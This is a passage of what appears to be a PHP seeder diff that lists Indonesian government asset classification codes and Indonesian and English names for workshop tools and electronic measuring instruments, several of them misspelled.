KLEP', + ], + [ + 'id_aset' => 1223, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '027', + 'nama' => 'MESIN TUSUK / STIK', + ], + [ + 'id_aset' => 1224, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '028', + 'nama' => 'MESIN BOR LISTRIK TANGAN', + ], + [ + 'id_aset' => 1225, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '029', + 'nama' => 'MESIN NIMBLING', + ], + [ + 'id_aset' => 1226, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '030', + 'nama' => 'MESIN GERINDA TANGAN LISTRIK', + ], + [ + 'id_aset' => 1227, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '031', + 'nama' => 'MESIN POTONG PLAT BENTUK / HAND NIMBLER', + ], + [ + 'id_aset' => 1228, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '032', + 'nama' => 'UNIT CAT', + ], + [ + 'id_aset' => 1229, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '033', + 'nama' => 'CUT OFF SAW', + ], + [ + 'id_aset' => 1230, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '034', + 'nama' => 'MESIN ANALISA SYSTEM', + ], + [ + 'id_aset' => 1231, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '035', + 'nama' => 'BLENDER LAS POTONG', + ], + [ + 'id_aset' => 1232, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '036', + 'nama' => 'MESIN CUCI KENDARAAN/ CAR WASHER', + ], + [ + 'id_aset' => 1233, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '037', + 'nama' => 'PERKAKAS AC', + ], + [ + 'id_aset' => 1234, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN BENGKEL KHUSUS PELADAM LAINNYA', + ], + [ + 'id_aset' => 1235, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT BENGKEL TAK BERMESIN LAINNYA', + ], + [ + 'id_aset' => 1236, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT BENGKEL TAK BERMESIN LAINNYA', + ], + [ + 'id_aset' => 1237, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT UKUR', + ], + [ + 'id_aset' => 1238, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT UKUR UNIVERSAL', + ], + [ + 'id_aset' => 1239, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'AF GENERATOR TONE GENERATOR', + ], + [ + 'id_aset' => 1240, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'AUDIO SIGNAL SOURCE', + ], + [ + 'id_aset' => 1241, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'AUDIO TEST SET', + ], + [ + 'id_aset' => 1242, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'AUDIO MORSE & DISTRIBUTOR METER', + ], + [ + 'id_aset' => 1243, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'AUDIO SWEEP OSILATOR', + ], + [ + 'id_aset' => 1244, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'VTVM VOLT', + ], + [ + 'id_aset' => 1245, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'INDEPENDENCE METER', + ], + [ + 'id_aset' => 1246, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'DECIBLE METER', + ], + [ + 'id_aset' => 1247, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'CRT TESTER', + ], + [ + 'id_aset' => 1248, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '010', + 'nama' => 'CIRCUIT TESTER (ALAT UKUR UNIVERSAL)', + ], + [ + 'id_aset' => 1249, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '011', + 'nama' => 'ELECTRONIC CAPASITOR TESTER', + ], + [ + 'id_aset' => 1250, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '012', + 'nama' => 'ILLUMINO METER', + ], + [ + 'id_aset' => 1251, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '013', + 'nama' => 'IC TESTER SEMI TEST IV', + ], + [ + 'id_aset' => 1252, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '014', + 'nama' => 'IC METER', + ], + [ + 'id_aset' => 1253, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '015', + 'nama' => 'MIHVOLT METER', + ], + [ + 'id_aset' => 1254, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '016', + 'nama' => 'MULTITESTER & ACCESSORIE', + ], + [ + 'id_aset' => 1255, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '017', + 'nama' => 'MULTISESTER DIGITAL', + ], + [ + 'id_aset' => 1256, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '018', + 'nama' => 'PHOTO ILLUMINATION METER', + ], + [ + 'id_aset' => 1257, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '019', + 'nama' => 'TRANSISTOR TESTER SEMITEST I', + ], + [ + 'id_aset' => 1258, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '020', + 'nama' => 'TRANSISTOR TESTER SEMITEST II', + ], + [ + 'id_aset' => 1259, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '021', + 'nama' => 'TRANSISTOR TESTER SEMITEST V', + ], + [ + 'id_aset' => 1260, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '022', + 'nama' => 'TRANSISTOR TESTER AVO', + ], + [ + 'id_aset' => 1261, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '023', + 'nama' => 'VOLT METER ELEKTRONIK', + ], + [ + 'id_aset' => 1262, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '024', + 'nama' => 'VOLT METER DIGITAL', + ], + [ + 'id_aset' => 1263, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '025', + 'nama' => 'VOLT METER HIGT TENSION', + ], + [ + 'id_aset' => 1264, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '026', + 'nama' => 'WIDW BAND LEVEL METER', + ], + [ + 'id_aset' => 1265, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '027', + 'nama' => 'AUTOMATIC DISTROTION METER', + ], + [ + 'id_aset' => 1266, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '028', + 'nama' => 'POWER METER AND ACCESSORIES', + ], + [ + 'id_aset' => 1267, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '029', + 'nama' => 'PH METER (ALAT UKUR UNIVERSAL)', + ], + [ + 'id_aset' => 1268, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '030', + 'nama' => 'QUASI PEAK METER', + ], + [ + 'id_aset' => 1269, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '031', + 'nama' => 'THRULINE WATT METER', + ], + [ + 'id_aset' => 1270, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '032', + 'nama' => 'DIGITAL MULTIMETER (ALAT UKUR UNIVERSAL)', + ], + [ + 'id_aset' => 1271, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '033', + 'nama' => 'MULTI METER', + ], + [ + 'id_aset' => 1272, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '034', + 'nama' => 'METER CALIBRATOR', + ], + [ + 'id_aset' => 1273, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '035', + 'nama' => 'MOISE FIGURE METER', + ], + [ + 'id_aset' => 1274, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '036', + 'nama' => 'DISTORTION ANALYZER', + ], + [ + 'id_aset' => 1275, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '037', + 'nama' => 'VECTOR VOLT METER (ALAT UKUR UNIVERSAL)', + ], + [ + 'id_aset' => 1276, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '038', + 'nama' => 'PULSE GENERATOR (ALAT UKUR UNIVERSAL)', + ], + [ + 'id_aset' => 1277, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '039', + 'nama' => 'DME GROUND STATION TEST SET (ALAT UKUR UNIVERSAL)', + ], + [ + 'id_aset' => 1278, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '040', + 'nama' => 'UHF SIGNAL GENERATOR', + ], + [ + 'id_aset' => 1279, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '041', + 'nama' => 'SWEEP OSCILLATOR (ALAT UKUR UNIVERSAL)', + ], + [ + 'id_aset' => 1280, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '042', + 'nama' => 'VHF SIGNAL GENERATOR', + ], + [ + 'id_aset' => 1281, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '043', + 'nama' => 'SPEKTRUM ANALYZER', + ], + [ + 'id_aset' => 1282, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '044', + 'nama' => 'TUBE TESTER (ALAT UKUR UNIVERSAL)', + ], + [ + 'id_aset' => 1283, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '045', + 'nama' => 'DOSIMETER & ACCESORIES', + ], + [ + 'id_aset' => 1284, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '046', + 'nama' => 'SURVEY METER (ALAT UKUR UNIVERSAL)', + ], + [ + 'id_aset' => 1285, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '047', + 'nama' => 'SOUND DETECTOR', + ], + [ + 'id_aset' => 1286, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '048', + 'nama' => 'VIDICON QUICK TESTER', + ], + [ + 'id_aset' => 1287, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '049', + 'nama' => 'PATTERN FOR TV ADJUSTMENT', + ], + [ + 'id_aset' => 1288, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '050', + 'nama' => 'POWER METER CILLIBRATOR', + ], + [ + 'id_aset' => 1289, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '051', + 'nama' => 'THERMISTOR', + ], + [ + 'id_aset' => 1290, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '052', + 'nama' => '\"SIGNAL GENERATOR AUDIO VHF', + ], + [ + 'id_aset' => 1291, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '053', + 'nama' => 'X - TAL DETECTOR', + ], + [ + 'id_aset' => 1292, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '054', + 'nama' => 'CO - AXIAL SLOT LINE', + ], + [ + 'id_aset' => 1293, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '055', + 'nama' => 'RF VOLT METER', + ], + [ + 'id_aset' => 1294, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '056', + 'nama' => 'FREKQUENCY WAVE METER', + ], + [ + 'id_aset' => 1295, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '057', + 'nama' => 'MEGGER', + ], + [ + 'id_aset' => 1296, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '058', + 'nama' => 'CO AXIAL ATTENUATOR', + ], + [ + 'id_aset' => 1297, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '059', + 'nama' => 'VARIABEL CO AXIAL ATTENUATOR', + ], + [ + 'id_aset' => 1298, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '060', + 'nama' => 'DIRECTIONAL COUPLER (ALAT UKUR UNIVERSAL)', + ], + [ + 'id_aset' => 1299, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '061', + 'nama' => 'PIN MODULATOR', + ], + [ + 'id_aset' => 1300, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '062', + 'nama' => 'LOGIG TROUBLE SHOTING KIT', + ], + [ + 'id_aset' => 1301, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '063', + 'nama' => 'SWR METER', + ], + [ + 'id_aset' => 1302, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '064', + 'nama' => 'MEMORI PROGRAMMER', + ], + [ + 'id_aset' => 1303, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '065', + 'nama' => 'LOGIG STATC ANALYZER', + ], + [ + 'id_aset' => 1304, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '066', + 'nama' => 'FREQUENCY CUONTER', + ], + [ + 'id_aset' => 1305, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '067', + 'nama' => 'UNIVERSAL BRIDGE', + ], + [ + 'id_aset' => 1306, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '068', + 'nama' => 'FB METER', + ], + [ + 'id_aset' => 1307, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '069', + 'nama' => 'NOISE', + ], + [ + 'id_aset' => 1308, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '070', + 'nama' => 'RADIATION MONITOR ISOTROPIC', + ], + [ + 'id_aset' => 1309, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '071', + 'nama' => 'PHASE METER', + ], + [ + 'id_aset' => 1310, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '072', + 'nama' => 'GLOBAL POSITIONING SYSTEM', + ], + [ + 'id_aset' => 1311, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '073', + 'nama' => 'ILS. CALIBRATION RX.', + ], + [ + 'id_aset' => 1312, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '074', + 'nama' => 'DCP ( ALAT CONTROL ) SENSOR', + ], + [ + 'id_aset' => 1313, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '075', + 'nama' => 'MOISTEUR METER', + ], + [ + 'id_aset' => 1314, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '076', + 'nama' => 'ROTA METER', + ], + [ + 'id_aset' => 1315, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '077', + 'nama' => 'MINI PHASEC VIEW', + ], + [ + 'id_aset' => 1316, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '078', + 'nama' => 'FREQUENCY INVERTER', + ], + [ + 'id_aset' => 1317, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '079', + 'nama' => 'ACCUMETER', + ], + [ + 'id_aset' => 1318, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '080', + 'nama' => 'TEMPERATUR DIGITAL', + ], + [ + 'id_aset' => 1319, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '081', + 'nama' => 'ARGOMETER', + ], + [ + 'id_aset' => 1320, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '082', + 'nama' => 'DIAL TEST INDICATOR', + ], + [ + 'id_aset' => 1321, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '083', + 'nama' => 'SPEED METER', + ], + [ + 'id_aset' => 1322, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '084', + 'nama' => '\"OIL BATH', + ], + [ + 'id_aset' => 1323, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '085', + 'nama' => 'SPEED DETECTOR', + ], + [ + 'id_aset' => 1324, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '086', + 'nama' => 'THERMOHYGROMETER (ALAT UKUR UNIVERSAL)', + ], + [ + 'id_aset' => 1325, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '087', + 'nama' => 'TRAFFIC COUNTER', + ], + [ + 'id_aset' => 1326, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '088', + 'nama' => 'STANDAR TEST GAUGE', + ], + [ + 'id_aset' => 1327, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '090', + 'nama' => 'SIGMA METER', + ], + [ + 'id_aset' => 1328, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '091', + 'nama' => 'IONISASI METER', + ], + [ + 'id_aset' => 1329, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '092', + 'nama' => 'ROTAN SAMPLER SPLITER', + ], + [ + 'id_aset' => 1330, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '093', + 'nama' => 'HENRY METER', + ], + [ + 'id_aset' => 1331, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '094', + 'nama' => 'MESIN KOCOK HORISONTAL', + ], + [ + 'id_aset' => 1332, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '095', + 'nama' => 'CAPASITOR METER', + ], + [ + 'id_aset' => 1333, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '096', + 'nama' => 'MICROPROCESSOR CONDUCTIVITY', + ], + [ + 'id_aset' => 1334, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '097', + 'nama' => 'UHF OUT PUSTTESSTING EQUIPMENT', + ], + [ + 'id_aset' => 1335, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '098', + 'nama' => 'SHRANGKAGE LIMIT APPARATUS', + ], + [ + 'id_aset' => 1336, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '099', + 'nama' => 'R.F. SIGNAL GENERATOR', + ], + [ + 'id_aset' => 1337, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '100', + 'nama' => 'DEWMETER PRINT', + ], + [ + 'id_aset' => 1338, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '102', + 'nama' => 'ORBITAL SHAKER', + ], + [ + 'id_aset' => 1339, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '103', + 'nama' => 'VHF/UHF DUMMY LOAD', + ], + [ + 'id_aset' => 1340, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '104', + 'nama' => 'OZONIZER', + ], + [ + 'id_aset' => 1341, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '105', + 'nama' => 'PSOPHOMETRIC WEIGHTING NETWORK', + ], + [ + 'id_aset' => 1342, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '106', + 'nama' => 'PERSONAL CDT', + ], + [ + 'id_aset' => 1343, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '107', + 'nama' => 'PORTABLE TEST RECK', + ], + [ + 'id_aset' => 1344, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '108', + 'nama' => 'RADIO METER (ALAT UKUR UNIVERSAL)', + ], + [ + 'id_aset' => 1345, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '109', + 'nama' => 'NMOTOR DRIVE WIRE WROPPER', + ], + [ + 'id_aset' => 1346, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '110', + 'nama' => 'SALINITY TEMP DEPTH ANALIZER', + ], + [ + 'id_aset' => 1347, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '111', + 'nama' => 'DIGITAL CIRCUIT TESTER', + ], + [ + 'id_aset' => 1348, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '112', + 'nama' => 'SALINOMETER', + ], + [ + 'id_aset' => 1349, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '113', + 'nama' => 'FIELD STRENGTH METER', + ], + [ + 'id_aset' => 1350, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '114', + 'nama' => 'ACIENTIFIC SOUNDEER SYSTEM', + ], + [ + 'id_aset' => 1351, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '115', + 'nama' => 'ALTERNEATUR', + ], + [ + 'id_aset' => 1352, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '116', + 'nama' => 'SENTER BAWAH AIR', + ], + [ + 'id_aset' => 1353, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '117', + 'nama' => 'MEGA OHM TESTER', + ], + [ + 'id_aset' => 1354, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '118', + 'nama' => 'SIX PLACE HIDROMANIFOLD', + ], + [ + 'id_aset' => 1355, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '119', + 'nama' => 'INSULATION TESTER (ALAT UKUR UNIVERSAL)', + ], + [ + 'id_aset' => 1356, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '120', + 'nama' => 'SONICATOR VIRSOIC CALL DISLUPTOR', + ], + [ + 'id_aset' => 1357, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '121', + 'nama' => 'ELECTRIC BENCH', + ], + [ + 'id_aset' => 1358, + 'golongan' => 